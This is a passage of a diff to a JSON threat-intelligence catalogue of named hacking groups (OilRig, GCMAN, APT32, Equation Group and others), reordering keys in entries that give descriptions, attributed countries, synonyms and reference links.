- "uuid": "4b79d1f6-8333-44b6-ac32-d1ea7e47e77f"
+ "uuid": "4b79d1f6-8333-44b6-ac32-d1ea7e47e77f",
+ "value": "TA530"
},
{
+ "description": "GCMAN is a threat group that focuses on targeting banks for the purpose of transferring money to e-currency services.",
"meta": {
+ "country": "RU",
"refs": [
"https://securelist.com/blog/research/73638/apt-style-bank-robberies-increase-with-metel-gcman-and-carbanak-2-0-attacks/"
- ],
- "country": "RU"
+ ]
},
- "description": "GCMAN is a threat group that focuses on targeting banks for the purpose of transferring money to e-currency services.",
- "value": "GCMAN",
- "uuid": "d93889de-b4bc-4a29-9ce7-d67717c140a0"
+ "uuid": "d93889de-b4bc-4a29-9ce7-d67717c140a0",
+ "value": "GCMAN"
},
{
+ "description": "Suckfly is a China-based threat group that has been active since at least 2014",
"meta": {
+ "country": "CN",
"refs": [
"http://www.symantec.com/connect/blogs/suckfly-revealing-secret-life-your-code-signing-certificates",
"http://www.symantec.com/connect/blogs/indian-organizations-targeted-suckfly-attacks"
- ],
- "country": "CN"
+ ]
},
- "description": "Suckfly is a China-based threat group that has been active since at least 2014",
- "value": "Suckfly",
- "uuid": "5abb12e7-5066-4f84-a109-49a037205c76"
+ "uuid": "5abb12e7-5066-4f84-a109-49a037205c76",
+ "value": "Suckfly"
},
{
+ "description": "FIN is a group targeting financial assets including assets able to do financial transaction including PoS.",
"meta": {
"refs": [
"https://www2.fireeye.com/rs/848-DID-242/images/rpt-fin6.pdf"
]
},
- "description": "FIN is a group targeting financial assets including assets able to do financial transaction including PoS.",
- "value": "FIN6",
- "uuid": "647894f6-1723-4cba-aba4-0ef0966d5302"
+ "uuid": "647894f6-1723-4cba-aba4-0ef0966d5302",
+ "value": "FIN6"
},
{
+ "description": "Libyan Scorpions is a malware operation in use since September 2015 and operated by a politically motivated group whose main objective is intelligence gathering, spying on influentials and political figures and operate an espionage campaign within Libya.",
"meta": {
"country": "LY"
},
- "description": "Libyan Scorpions is a malware operation in use since September 2015 and operated by a politically motivated group whose main objective is intelligence gathering, spying on influentials and political figures and operate an espionage campaign within Libya.",
- "value": "Libyan Scorpions",
- "uuid": "815cbe98-e157-4078-9caa-c5a25dd64731"
+ "uuid": "815cbe98-e157-4078-9caa-c5a25dd64731",
+ "value": "Libyan Scorpions"
},
{
"meta": {
+ "refs": [
+ "https://securelist.com/blog/research/76153/teamxrat-brazilian-cybercrime-meets-ransomware/"
+ ],
"synonyms": [
"CorporacaoXRat",
"CorporationXRat"
- ],
- "refs": [
- "https://securelist.com/blog/research/76153/teamxrat-brazilian-cybercrime-meets-ransomware/"
]
},
- "value": "TeamXRat",
- "uuid": "43ec65d1-a334-4c44-9a44-0fd21f27249d"
+ "uuid": "43ec65d1-a334-4c44-9a44-0fd21f27249d",
+ "value": "TeamXRat"
},
{
+ "description": "OilRig is an Iranian threat group operating primarily in the Middle East by targeting organizations in this region that are in a variety of different industries; however, this group has occasionally targeted organizations outside of the Middle East as well. It also appears OilRig carries out supply chain attacks, where the threat group leverages the trust relationship between organizations to attack their primary targets. \r\n\r\nOilRig is an active and organized threat group, which is evident based on their systematic targeting of specific organizations that appear to be carefully chosen for strategic purposes. Attacks attributed to this group primarily rely on social engineering to exploit the human rather than software vulnerabilities; however, on occasion this group has used recently patched vulnerabilities in the delivery phase of their attacks. The lack of software vulnerability exploitation does not necessarily suggest a lack of sophistication, as OilRig has shown maturity in other aspects of their operations. Such maturities involve:\r\n\r\n-Organized evasion testing used the during development of their tools.\r\n-Use of custom DNS Tunneling protocols for command and control (C2) and data exfiltration.\r\n-Custom web-shells and backdoors used to persistently access servers.\r\n\r\nOilRig relies on stolen account credentials for lateral movement. After OilRig gains access to a system, they use credential dumping tools, such as Mimikatz, to steal credentials to accounts logged into the compromised system. The group uses these credentials to access and to move laterally to other systems on the network. After obtaining credentials from a system, operators in this group prefer to use tools other than their backdoors to access the compromised systems, such as remote desktop and putty. OilRig also uses phishing sites to harvest credentials to individuals at targeted organizations to gain access to internet accessible resources, such as Outlook Web Access.",
"meta": {
+ "cfr-suspected-state-sponsor": "Iran (Islamic Republic of)",
+ "cfr-suspected-victims": [
+ "Israel",
+ "Kuwait",
+ "United States",
+ "Turkey",
+ "Saudi Arabia",
+ "Qatar",
+ "Lebanon"
+ ],
+ "cfr-target-category": [
+ "Government",
+ "Private sector",
+ "Civil society"
+ ],
+ "cfr-type-of-incident": "Espionage",
+ "country": "IR",
"refs": [
"https://www.fireeye.com/blog/threat-research/2016/05/targeted_attacksaga.html",
"http://researchcenter.paloaltonetworks.com/2016/10/unit42-oilrig-malware-campaign-updates-toolset-and-expands-targets/",
@@ -2235,66 +2265,47 @@
"https://raw.githubusercontent.com/pan-unit42/playbook_viewer/master/playbook_json/oilrig.json",
"https://www.cfr.org/interactive/cyber-operations/oilrig"
],
- "country": "IR",
"synonyms": [
"Twisted Kitten",
"Cobalt Gypsy",
"Crambus"
- ],
- "cfr-suspected-victims": [
- "Israel",
- "Kuwait",
- "United States",
- "Turkey",
- "Saudi Arabia",
- "Qatar",
- "Lebanon"
- ],
- "cfr-suspected-state-sponsor": "Iran (Islamic Republic of)",
- "cfr-type-of-incident": "Espionage",
- "cfr-target-category": [
- "Government",
- "Private sector",
- "Civil society"
]
},
- "value": "OilRig",
- "description": "OilRig is an Iranian threat group operating primarily in the Middle East by targeting organizations in this region that are in a variety of different industries; however, this group has occasionally targeted organizations outside of the Middle East as well. It also appears OilRig carries out supply chain attacks, where the threat group leverages the trust relationship between organizations to attack their primary targets. \r\n\r\nOilRig is an active and organized threat group, which is evident based on their systematic targeting of specific organizations that appear to be carefully chosen for strategic purposes. Attacks attributed to this group primarily rely on social engineering to exploit the human rather than software vulnerabilities; however, on occasion this group has used recently patched vulnerabilities in the delivery phase of their attacks. The lack of software vulnerability exploitation does not necessarily suggest a lack of sophistication, as OilRig has shown maturity in other aspects of their operations. Such maturities involve:\r\n\r\n-Organized evasion testing used the during development of their tools.\r\n-Use of custom DNS Tunneling protocols for command and control (C2) and data exfiltration.\r\n-Custom web-shells and backdoors used to persistently access servers.\r\n\r\nOilRig relies on stolen account credentials for lateral movement. After OilRig gains access to a system, they use credential dumping tools, such as Mimikatz, to steal credentials to accounts logged into the compromised system. The group uses these credentials to access and to move laterally to other systems on the network. After obtaining credentials from a system, operators in this group prefer to use tools other than their backdoors to access the compromised systems, such as remote desktop and putty. OilRig also uses phishing sites to harvest credentials to individuals at targeted organizations to gain access to internet accessible resources, such as Outlook Web Access.",
- "uuid": "42be2a84-5a5c-4c6d-9864-3f09d75bb0ba"
+ "uuid": "42be2a84-5a5c-4c6d-9864-3f09d75bb0ba",
+ "value": "OilRig"
},
{
+ "description": "Beginning in late 2012, a carefully orchestrated attack campaign we call Volatile Cedar has been targeting individuals, companies and institutions worldwide. This campaign, led by a persistent attacker group, has successfully penetrated a large number of targets using various attack techniques, and specifically, a custom-made malware implant codenamed Explosive .",
"meta": {
"refs": [
"https://www.checkpoint.com/downloads/volatile-cedar-technical-report.pdf"
]
},
- "description": "Beginning in late 2012, a carefully orchestrated attack campaign we call Volatile Cedar has been targeting individuals, companies and institutions worldwide. This campaign, led by a persistent attacker group, has successfully penetrated a large number of targets using various attack techniques, and specifically, a custom-made malware implant codenamed Explosive .",
- "value": "Volatile Cedar",
- "uuid": "cf421ce6-ddfe-419a-bc65-6a9fc953232a"
+ "uuid": "cf421ce6-ddfe-419a-bc65-6a9fc953232a",
+ "value": "Volatile Cedar"
},
{
+ "description": "Threat Group conducting cyber espionage while re-using tools from other teams; like those of Hacking Team, and vmprotect to obfuscate.",
"meta": {
"synonyms": [
"Reuse team",
"Dancing Salome"
]
},
- "description": "Threat Group conducting cyber espionage while re-using tools from other teams; like those of Hacking Team, and vmprotect to obfuscate.",
- "value": "Malware reusers",
- "uuid": "3d5192f2-f235-46fd-aa68-dd00cc17d632"
+ "uuid": "3d5192f2-f235-46fd-aa68-dd00cc17d632",
+ "value": "Malware reusers"
},
{
- "value": "TERBIUM",
"description": "Microsoft Threat Intelligence identified similarities between this recent attack and previous 2012 attacks against tens of thousands of computers belonging to organizations in the energy sector. Microsoft Threat Intelligence refers to the activity group behind these attacks as TERBIUM, following our internal practice of assigning rogue actors chemical element names.",
"meta": {
"refs": [
"https://blogs.technet.microsoft.com/mmpc/2016/12/09/windows-10-protection-detection-and-response-against-recent-attacks/"
]
},
- "uuid": "46670c51-fea4-45d6-bdd4-62e85a5c7404"
+ "uuid": "46670c51-fea4-45d6-bdd4-62e85a5c7404",
+ "value": "TERBIUM"
},
{
- "value": "Molerats",
"description": "In October 2012, malware attacks against Israeli government targets grabbed media attention as officials temporarily cut off Internet access for its entire police force and banned the use of USB memory sticks. Security researchers subsequently linked these attacks to a broader, yearlong campaign that targeted not just Israelis but Palestinians as well. and as discovered later, even the U.S. and UK governments. Further research revealed a connection between these attacks and members of the so-called “Gaza Hackers Team.” We refer to this campaign as “Molerats.”",
"meta": {
"refs": [
@@ -2309,136 +2320,127 @@
"Moonlight"
]
},
- "uuid": "f7c2e501-73b1-400f-a5d9-2e2e07b7dfde"
+ "uuid": "f7c2e501-73b1-400f-a5d9-2e2e07b7dfde",
+ "value": "Molerats"
},
{
- "value": "PROMETHIUM",
"description": "PROMETHIUM is an activity group that has been active as early as 2012. The group primarily uses Truvasys, a first-stage malware that has been in circulation for several years. Truvasys has been involved in several attack campaigns, where it has masqueraded as one of server common computer utilities, including WinUtils, TrueCrypt, WinRAR, or SanDisk. In each of the campaigns, Truvasys malware evolved with additional features—this shows a close relationship between the activity groups behind the campaigns and the developers of the malware.",
"meta": {
+ "country": "TR",
"refs": [
"https://blogs.technet.microsoft.com/mmpc/2016/12/14/twin-zero-day-attacks-promethium-and-neodymium-target-individuals-in-europe/",
"https://www.virusbulletin.com/conference/vb2016/abstracts/last-minute-paper-strongpity-waterhole-attacks-targeting-italian-and-belgian-encryption-users"
],
"synonyms": [
"StrongPity"
- ],
- "country": "TR"
+ ]
},
- "uuid": "43894e2a-174e-4931-94a8-2296afe8f650"
+ "uuid": "43894e2a-174e-4931-94a8-2296afe8f650",
+ "value": "PROMETHIUM"
},
{
- "value": "NEODYMIUM",
"description": "NEODYMIUM is an activity group that is known to use a backdoor malware detected by Microsoft as Wingbird. This backdoor’s characteristics closely match FinFisher, a government-grade commercial surveillance package. Data about Wingbird activity indicate that it is typically used to attack individual computers instead of networks.",
"meta": {
"refs": [
"https://blogs.technet.microsoft.com/mmpc/2016/12/14/twin-zero-day-attacks-promethium-and-neodymium-target-individuals-in-europe/"
]
},
- "uuid": "ada08ea8-4517-4eea-aff1-3ad69e5466bb"
+ "uuid": "ada08ea8-4517-4eea-aff1-3ad69e5466bb",
+ "value": "NEODYMIUM"
},
{
- "value": "Packrat",
"description": "A threat group that has been active for at least seven years has used malware, phishing and disinformation tactics to target activists, journalists, politicians and public figures in various Latin American countries. The threat actor, dubbed Packrat based on its preference for remote access Trojans (RATs) and because it has used the same infrastructure for several years, has been analyzed by Citizen Lab researchers John Scott-Railton, Morgan Marquis-Boire, and Claudio Guarnieri, and Cyphort researcher Marion Marschalek, best known for her extensive analysis of state-sponsored threats.",
"meta": {
"refs": [
"https://citizenlab.org/2015/12/packrat-report/"
]
},
- "uuid": "fe344665-d153-4d31-a32a-1509efde1ca7"
+ "uuid": "fe344665-d153-4d31-a32a-1509efde1ca7",
+ "value": "Packrat"
},
{
- "value": "Cadelle",
"description": "Symantec telemetry identified Cadelle and Chafer activity dating from as far back as July 2014, however, it’s likely that activity began well before this date. Command-and-control (C&C) registrant information points to activity possibly as early as 2011, while executable compilation times suggest early 2012. Their attacks continue to the present day. Symantec estimates that each team is made up of between 5 and 10 people.",
"meta": {
+ "country": "IR",
"refs": [
"https://www.symantec.com/connect/blogs/iran-based-attackers-use-back-door-threats-spy-middle-eastern-targets"
- ],
- "country": "IR"
+ ]
},
- "uuid": "03f13462-003c-4296-8784-bccea16710a9"
+ "uuid": "03f13462-003c-4296-8784-bccea16710a9",
+ "value": "Cadelle"
},
{
- "value": "Chafer",
"description": "Symantec telemetry identified Cadelle and Chafer activity dating from as far back as July 2014, however, it’s likely that activity began well before this date. Command-and-control (C&C) registrant information points to activity possibly as early as 2011, while executable compilation times suggest early 2012. Their attacks continue to the present day. Symantec estimates that each team is made up of between 5 and 10 people.",
"meta": {
+ "country": "IR",
"refs": [
"https://www.symantec.com/connect/blogs/iran-based-attackers-use-back-door-threats-spy-middle-eastern-targets"
- ],
- "country": "IR"
+ ]
},
- "uuid": "ddd95696-3d9a-4d0c-beec-a34d396182f3"
+ "uuid": "ddd95696-3d9a-4d0c-beec-a34d396182f3",
+ "value": "Chafer"
},
{
- "value": "PassCV",
"description": "The PassCV group continues to be one of the most successful and active threat groups that leverage a wide array of stolen Authenticode-signing certificates. Snorre Fagerland of Blue Coat Systems first coined the term PassCV in a blog post. His post provides a good introduction to the group and covers some of the older infrastructure, stolen code-signing certificate reuse, and other connections associated with the PassCV malware. There are several clues alluding to the possibility that multiple groups may be utilizing the same stolen signing certificates, but at this time SPEAR believes the current attacks are more likely being perpetrated by a single group employing multiple publicly available Remote Administration Tools (RATs). The PassCV group has been operating with continued success and has already started to expand their malware repertoire into different off-the-shelf RATs and custom code. SPEAR identified eighteen previously undisclosed stolen Authenticode certificates. These certificates were originally issued to companies and individuals scattered across China, Taiwan, Korea, Europe, the United States and Russia. In this post we expand the usage of the term ‘PassCV’ to encompass the malware mentioned in the Blue Coat Systems report, as well as the APT group behind the larger C2 infrastructure and stolen Authenticode certificates. We’d like to share some of our findings as they pertain to the stolen certificates, command and control infrastructure, and some of the newer custom RATs they’ve begun development on. ",
"meta": {
+ "country": "CN",
"refs": [
"https://blog.cylance.com/digitally-signed-malware-targeting-gaming-companies"
- ],
- "country": "CN"
+ ]
},
- "uuid": "ceae0bc4-eb5f-4184-b949-a6f7d6f0f965"
+ "uuid": "ceae0bc4-eb5f-4184-b949-a6f7d6f0f965",
+ "value": "PassCV"
},
{
- "value": "Sath-ı Müdafaa",
"description": "A Turkish hacking group, Sath-ı Müdafaa, is encouraging individuals to join its DDoS-for-Points platform that features points and prizes for carrying out distributed denial-of-service (DDoS) attacks against a list of predetermined targets. Their DDoS tool also contains a backdoor to hack the hackers. So the overarching motivation and allegiance of the group is not entirely clear.",
"meta": {
"country": "TR",
"motive": "Hacktivists-Nationalists"
},
- "uuid": "a03e2b4b-617f-4d28-ac4b-9943f792aa22"
+ "uuid": "a03e2b4b-617f-4d28-ac4b-9943f792aa22",
+ "value": "Sath-ı Müdafaa"
},
{
- "value": "Aslan Neferler Tim",
"description": "Turkish nationalist hacktivist group that has been active for roughly one year. According to Domaintools, the group’s site has been registered since December 2015, with an active Twitter account since January 2016. The group carries out distributed denial-of-service (DDoS) attacks and defacements against the sites of news organizations and governments perceived to be critical of Turkey’s policies or leadership, and purports to act in defense of Islam",
"meta": {
"country": "TR",
+ "motive": "Hacktivists-Nationalists",
"synonyms": [
"Lion Soldiers Team",
"Phantom Turk"
- ],
- "motive": "Hacktivists-Nationalists"
+ ]
},
- "uuid": "23410d3f-c359-422d-9a4e-45f8fdf0c84a"
+ "uuid": "23410d3f-c359-422d-9a4e-45f8fdf0c84a",
+ "value": "Aslan Neferler Tim"
},
{
- "value": "Ayyıldız Tim",
"description": "Ayyıldız (Crescent and Star) Tim is a nationalist hacking group founded in 2002. It performs defacements and DDoS attacks against the websites of governments that it considers to be repressing Muslim minorities or engaged in Islamophobic policies.",
"meta": {
"country": "TR",
+ "motive": "Hacktivists-Nationalists",
"synonyms": [
"Crescent and Star"
- ],
- "motive": "Hacktivists-Nationalists"
+ ]
},
- "uuid": "ab1771de-25bb-4688-b132-eabb5d6452a1"
+ "uuid": "ab1771de-25bb-4688-b132-eabb5d6452a1",
+ "value": "Ayyıldız Tim"
},
{
- "value": "TurkHackTeam",
"description": "Founded in 2004, Turkhackteam is one of Turkey’s oldest and most high-profile hacking collectives. According to a list compiled on Turkhackteam’s forum, the group has carried out almost 30 highly publicized hacking campaigns targeting foreign government and commercial websites, including websites of international corporations. ",
"meta": {
"country": "TR",
+ "motive": "Hacktivists-Nationalists",
"synonyms": [
"Turk Hack Team"
- ],
- "motive": "Hacktivists-Nationalists"
+ ]
},
- "uuid": "7ae74dc6-ded3-4873-a803-abb4160d10c0"
+ "uuid": "7ae74dc6-ded3-4873-a803-abb4160d10c0",
+ "value": "TurkHackTeam"
},
{
- "value": "Equation Group",
"description": "The Equation Group is a highly sophisticated threat actor described by its discoverers at Kaspersky Labs as one of the most sophisticated cyber attack groups in the world, operating alongside but always from a position of superiority with the creators of Stuxnet and Flame",
"meta": {
- "country": "US",
- "refs": [
- "https://en.wikipedia.org/wiki/Equation_Group",
- "https://www.cfr.org/interactive/cyber-operations/equation-group"
- ],
- "synonyms": [
- "Tilded Team",
- "Lamberts",
- "EQGRP"
- ],
+ "cfr-suspected-state-sponsor": "United States",
"cfr-suspected-victims": [
"Iran",
"Afghanistan",
@@ -2456,66 +2458,66 @@
"United Arab Emirates",
"Libya"
],
- "cfr-suspected-state-sponsor": "United States",
- "cfr-type-of-incident": "Espionage",
"cfr-target-category": [
"Government",
"Military"
+ ],
+ "cfr-type-of-incident": "Espionage",
+ "country": "US",
+ "refs": [
+ "https://en.wikipedia.org/wiki/Equation_Group",
+ "https://www.cfr.org/interactive/cyber-operations/equation-group"
+ ],
+ "synonyms": [
+ "Tilded Team",
+ "Lamberts",
+ "EQGRP"
]
},
- "uuid": "7036fb3d-86b7-4d9c-bc66-1e1ead8b7840"
+ "uuid": "7036fb3d-86b7-4d9c-bc66-1e1ead8b7840",
+ "value": "Equation Group"
},
{
- "value": "Greenbug",
"description": "Greenbug was discovered targeting a range of organizations in the Middle East including companies in the aviation, energy, government, investment, and education sectors.",
"meta": {
+ "country": "IR",
"refs": [
"https://www.symantec.com/connect/blogs/greenbug-cyberespionage-group-targeting-middle-east-possible-links-shamoon",
"https://researchcenter.paloaltonetworks.com/2017/07/unit42-oilrig-uses-ismdoor-variant-possibly-linked-greenbug-threat-group/"
- ],
- "country": "IR"
+ ]
},
- "uuid": "47204403-34c9-4d25-a006-296a0939d1a2"
+ "uuid": "47204403-34c9-4d25-a006-296a0939d1a2",
+ "value": "Greenbug"
},
{
- "value": "Gamaredon Group",
"description": "Unit 42 threat researchers have recently observed a threat group distributing new, custom developed malware. We have labelled this threat group the Gamaredon Group and our research shows that the Gamaredon Group has been active since at least 2013. In the past, the Gamaredon Group has relied heavily on off-the-shelf tools. Our new research shows the Gamaredon Group have made a shift to custom-developed malware. We believe this shift indicates the Gamaredon Group have improved their technical capabilities.",
"meta": {
"refs": [
"http://researchcenter.paloaltonetworks.com/2017/02/unit-42-title-gamaredon-group-toolset-evolution"
]
},
- "uuid": "1a77e156-76bc-43f5-bdd7-bd67f30fbbbb"
+ "uuid": "1a77e156-76bc-43f5-bdd7-bd67f30fbbbb",
+ "value": "Gamaredon Group"
},
{
+ "description": "Hammer Panda is a group of suspected Chinese origin targeting organisations in Russia.",
"meta": {
"country": "CN",
+ "refs": [
+ "http://www.darkreading.com/endpoint/chinese-cyberspies-pivot-to-russia-in-wake-of-obama-xi-pact/d/d-id/1324242"
+ ],
"synonyms": [
"Zhenbao",
"TEMP.Zhenbao"
- ],
- "refs": [
- "http://www.darkreading.com/endpoint/chinese-cyberspies-pivot-to-russia-in-wake-of-obama-xi-pact/d/d-id/1324242"
]
},
- "value": "Hammer Panda",
- "description": "Hammer Panda is a group of suspected Chinese origin targeting organisations in Russia.",
- "uuid": "1f2762d9-a4b5-4457-ac51-00be05be9e23"
+ "uuid": "1f2762d9-a4b5-4457-ac51-00be05be9e23",
+ "value": "Hammer Panda"
},
{
+ "description": "Infy is a group of suspected Iranian origin.",
"meta": {
- "country": "IR",
- "synonyms": [
- "Operation Mermaid",
- "Prince of Persia"
- ],
- "refs": [
- "https://www.blackhat.com/docs/us-16/materials/us-16-Guarnieri-Iran-And-The-Soft-War-For-Internet-Dominance-wp.pdf",
- "https://iranthreats.github.io/",
- "http://researchcenter.paloaltonetworks.com/2016/05/prince-of-persia-infy-malware-active-in-decade-of-targeted-attacks/",
- "https://researchcenter.paloaltonetworks.com/2017/08/unit42-prince-persia-ride-lightning-infy-returns-foudre/",
- "https://www.cfr.org/interactive/cyber-operations/prince-persia"
- ],
+ "cfr-suspected-state-sponsor": "Iran (Islamic Republic of)",
"cfr-suspected-victims": [
"Israel",
"Iran",
@@ -2533,18 +2535,29 @@
"Saudi Arabia",
"Bahrain"
],
- "cfr-suspected-state-sponsor": "Iran (Islamic Republic of)",
- "cfr-type-of-incident": "Espionage",
"cfr-target-category": [
"Government",
"Private sector"
+ ],
+ "cfr-type-of-incident": "Espionage",
+ "country": "IR",
+ "refs": [
+ "https://www.blackhat.com/docs/us-16/materials/us-16-Guarnieri-Iran-And-The-Soft-War-For-Internet-Dominance-wp.pdf",
+ "https://iranthreats.github.io/",
+ "http://researchcenter.paloaltonetworks.com/2016/05/prince-of-persia-infy-malware-active-in-decade-of-targeted-attacks/",
+ "https://researchcenter.paloaltonetworks.com/2017/08/unit42-prince-persia-ride-lightning-infy-returns-foudre/",
+ "https://www.cfr.org/interactive/cyber-operations/prince-persia"
+ ],
+ "synonyms": [
+ "Operation Mermaid",
+ "Prince of Persia"
]
},
- "value": "Infy",
- "description": "Infy is a group of suspected Iranian origin.",
- "uuid": "1671be1b-c844-48f5-84c8-54ac4fe4d71e"
+ "uuid": "1671be1b-c844-48f5-84c8-54ac4fe4d71e",
+ "value": "Infy"
},
{
+ "description": "Sima is a group of suspected Iranian origin targeting Iranians in diaspora.",
"meta": {
"country": "IR",
"refs": [
@@ -2552,102 +2565,86 @@
"https://iranthreats.github.io/"
]
},
- "value": "Sima",
- "description": "Sima is a group of suspected Iranian origin targeting Iranians in diaspora.",
- "uuid": "80f9184d-1df3-4ad0-a452-cdb90fe57216"
+ "uuid": "80f9184d-1df3-4ad0-a452-cdb90fe57216",
+ "value": "Sima"
},
{
+ "description": "Blue Termite is a group of suspected Chinese origin active in Japan.",
"meta": {
- "country": "CN",
- "synonyms": [
- "Cloudy Omega",
- "Emdivi"
+ "cfr-suspected-state-sponsor": "Unknown",
+ "cfr-suspected-victims": [
+ "Japan"
],
+ "cfr-target-category": [
+ "Government",
+ "Private sector"
+ ],
+ "cfr-type-of-incident": "Espionage",
+ "country": "CN",
"refs": [
"https://securelist.com/blog/research/71876/new-activity-of-the-blue-termite-apt/",
"http://www.kaspersky.com/about/news/virus/2015/Blue-Termite-A-Sophisticated-Cyber-Espionage-Campaign-is-After-High-Profile-Japanese-Targets",
"https://www.cfr.org/interactive/cyber-operations/blue-termite"
],
- "cfr-suspected-victims": [
- "Japan"
- ],
- "cfr-suspected-state-sponsor": "Unknown",
- "cfr-type-of-incident": "Espionage",
- "cfr-target-category": [
- "Government",
- "Private sector"
+ "synonyms": [
+ "Cloudy Omega",
+ "Emdivi"
]
},
- "value": "Blue Termite",
- "description": "Blue Termite is a group of suspected Chinese origin active in Japan.",
- "uuid": "a250af72-f66c-4d02-9f36-ab764ce9fe85"
+ "uuid": "a250af72-f66c-4d02-9f36-ab764ce9fe85",
+ "value": "Blue Termite"
},
{
+ "description": "Groundbait is a group targeting anti-government separatists in the self-declared Donetsk and Luhansk People’s Republics.",
"meta": {
"country": "UA",
"refs": [
"http://www.welivesecurity.com/2016/05/18/groundbait"
]
},
- "value": "Groundbait",
- "description": "Groundbait is a group targeting anti-government separatists in the self-declared Donetsk and Luhansk People’s Republics.",
- "uuid": "8ed5e3f0-ed30-4eb8-bbee-4e221bd76d73"
+ "uuid": "8ed5e3f0-ed30-4eb8-bbee-4e221bd76d73",
+ "value": "Groundbait"
},
{
+ "description": "Longhorn has been active since at least 2011. It has used a range of back door Trojans in addition to zero-day vulnerabilities to compromise its targets. Longhorn has infiltrated governments and internationally operating organizations, in addition to targets in the financial, telecoms, energy, aerospace, information technology, education, and natural resources sectors. All of the organizations targeted would be of interest to a nation-state attacker. Longhorn has infected 40 targets in at least 16 countries across the Middle East, Europe, Asia, and Africa. On one occasion a computer in the United States was compromised but, following infection, an uninstaller was launched within hours, which may indicate this victim was infected unintentionally. According to cfr, this threat actor compromises governments, international organizations, academic institutions, and financial, telecommunications, energy, aerospace, information technology, and natural resource industries for espionage purposes. Some of the tools used by this threat actor were released by Wikileaks under the name \"Vault 7.\"",
"meta": {
+ "cfr-suspected-state-sponsor": "United States",
+ "cfr-suspected-victims": [
+ "Global"
+ ],
+ "cfr-target-category": [
+ "Private sector",
+ "Government"
+ ],
+ "cfr-type-of-incident": "Espionage",
+ "country": "US",
"refs": [
"https://www.symantec.com/connect/blogs/longhorn-tools-used-cyberespionage-group-linked-vault-7",
"https://www.bleepingcomputer.com/news/security/longhorn-cyber-espionage-group-is-actually-the-cia/",
"https://www.cfr.org/interactive/cyber-operations/longhorn"
],
- "country": "US",
"synonyms": [
"Lamberts",
"the Lamberts"
- ],
- "cfr-suspected-victims": [
- "Global"
- ],
- "cfr-suspected-state-sponsor": "United States",
- "cfr-type-of-incident": "Espionage",
- "cfr-target-category": [
- "Private sector",
- "Government"
]
},
- "value": "Longhorn",
- "description": "Longhorn has been active since at least 2011. It has used a range of back door Trojans in addition to zero-day vulnerabilities to compromise its targets. Longhorn has infiltrated governments and internationally operating organizations, in addition to targets in the financial, telecoms, energy, aerospace, information technology, education, and natural resources sectors. All of the organizations targeted would be of interest to a nation-state attacker. Longhorn has infected 40 targets in at least 16 countries across the Middle East, Europe, Asia, and Africa. On one occasion a computer in the United States was compromised but, following infection, an uninstaller was launched within hours, which may indicate this victim was infected unintentionally. According to cfr, this threat actor compromises governments, international organizations, academic institutions, and financial, telecommunications, energy, aerospace, information technology, and natural resource industries for espionage purposes. Some of the tools used by this threat actor were released by Wikileaks under the name \"Vault 7.\"",
- "uuid": "2f3311cd-8476-4be7-9005-ead920afc781"
+ "uuid": "2f3311cd-8476-4be7-9005-ead920afc781",
+ "value": "Longhorn"
},
{
+ "description": "The Callisto Group is an advanced threat actor whose known targets include military personnel, government officials, think tanks, and journalists in Europe and the South Caucasus. Their primary interest appears to be gathering intelligence related to foreign and security policy in the Eastern Europe and South Caucasus regions.",
"meta": {
"refs": [
"https://www.f-secure.com/documents/996508/1030745/callisto-group"
]
},
- "value": "Callisto",
- "description": "The Callisto Group is an advanced threat actor whose known targets include military personnel, government officials, think tanks, and journalists in Europe and the South Caucasus. Their primary interest appears to be gathering intelligence related to foreign and security policy in the Eastern Europe and South Caucasus regions.",
- "uuid": "fbd279ab-c095-48dc-ba48-4bece3dd5b0f"
+ "uuid": "fbd279ab-c095-48dc-ba48-4bece3dd5b0f",
+ "value": "Callisto"
},
{
+ "description": "Cyber espionage actors, now designated by FireEye as APT32 (OceanLotus Group), are carrying out intrusions into private sector companies across multiple industries and have also targeted foreign governments, dissidents, and journalists. FireEye assesses that APT32 leverages a unique suite of fully-featured malware, in conjunction with commercially-available tools, to conduct targeted operations that are aligned with Vietnamese state interests.",
"meta": {
- "synonyms": [
- "OceanLotus Group",
- "Ocean Lotus",
- "Cobalt Kitty",
- "APT-C-00",
- "SeaLotus",
- "APT-32",
- "APT 32"
- ],
- "refs": [
- "https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html",
- "https://www.cybereason.com/labs-operation-cobalt-kitty-a-large-scale-apt-in-asia-carried-out-by-the-oceanlotus-group/",
- "https://www.scmagazineuk.com/ocean-lotus-groupapt-32-identified-as-vietnamese-apt-group/article/663565/",
- "https://www.brighttalk.com/webcast/10703/261205",
- "https://github.com/eset/malware-research/tree/master/oceanlotus",
- "https://www.cfr.org/interactive/cyber-operations/ocean-lotus"
- ],
+ "cfr-suspected-state-sponsor": "Vietnam",
"cfr-suspected-victims": [
"China",
"Germany",
@@ -2656,20 +2653,34 @@
"Philippines",
"Association of Southeast Asian Nations"
],
- "cfr-suspected-state-sponsor": "Vietnam",
- "cfr-type-of-incident": "Espionage",
"cfr-target-category": [
"Government",
"Private sector",
"Civil society"
+ ],
+ "cfr-type-of-incident": "Espionage",
+ "refs": [
+ "https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html",
+ "https://www.cybereason.com/labs-operation-cobalt-kitty-a-large-scale-apt-in-asia-carried-out-by-the-oceanlotus-group/",
+ "https://www.scmagazineuk.com/ocean-lotus-groupapt-32-identified-as-vietnamese-apt-group/article/663565/",
+ "https://www.brighttalk.com/webcast/10703/261205",
+ "https://github.com/eset/malware-research/tree/master/oceanlotus",
+ "https://www.cfr.org/interactive/cyber-operations/ocean-lotus"
+ ],
+ "synonyms": [
+ "OceanLotus Group",
+ "Ocean Lotus",
+ "Cobalt Kitty",
+ "APT-C-00",
+ "SeaLotus",
+ "APT-32",
+ "APT 32"
]
},
- "value": "APT32",
- "description": "Cyber espionage actors, now designated by FireEye as APT32 (OceanLotus Group), are carrying out intrusions into private sector companies across multiple industries and have also targeted foreign governments, dissidents, and journalists. FireEye assesses that APT32 leverages a unique suite of fully-featured malware, in conjunction with commercially-available tools, to conduct targeted operations that are aligned with Vietnamese state interests.",
- "uuid": "aa29ae56-e54b-47a2-ad16-d3ab0242d5d7"
+ "uuid": "aa29ae56-e54b-47a2-ad16-d3ab0242d5d7",
+ "value": "APT32"
},
{
- "value": "SilverTerrier",
"description": "As these tools rise and fall in popularity (and more importantly, as detection rates by antivirus vendors improve), SilverTerrier actors have consistently adopted new malware families and shifted to the latest packing tools available. ",
"meta": {
"country": "NG",
@@ -2677,10 +2688,10 @@
"https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/silverterrier-next-evolution-in-nigerian-cybercrime.pdf"
]
},
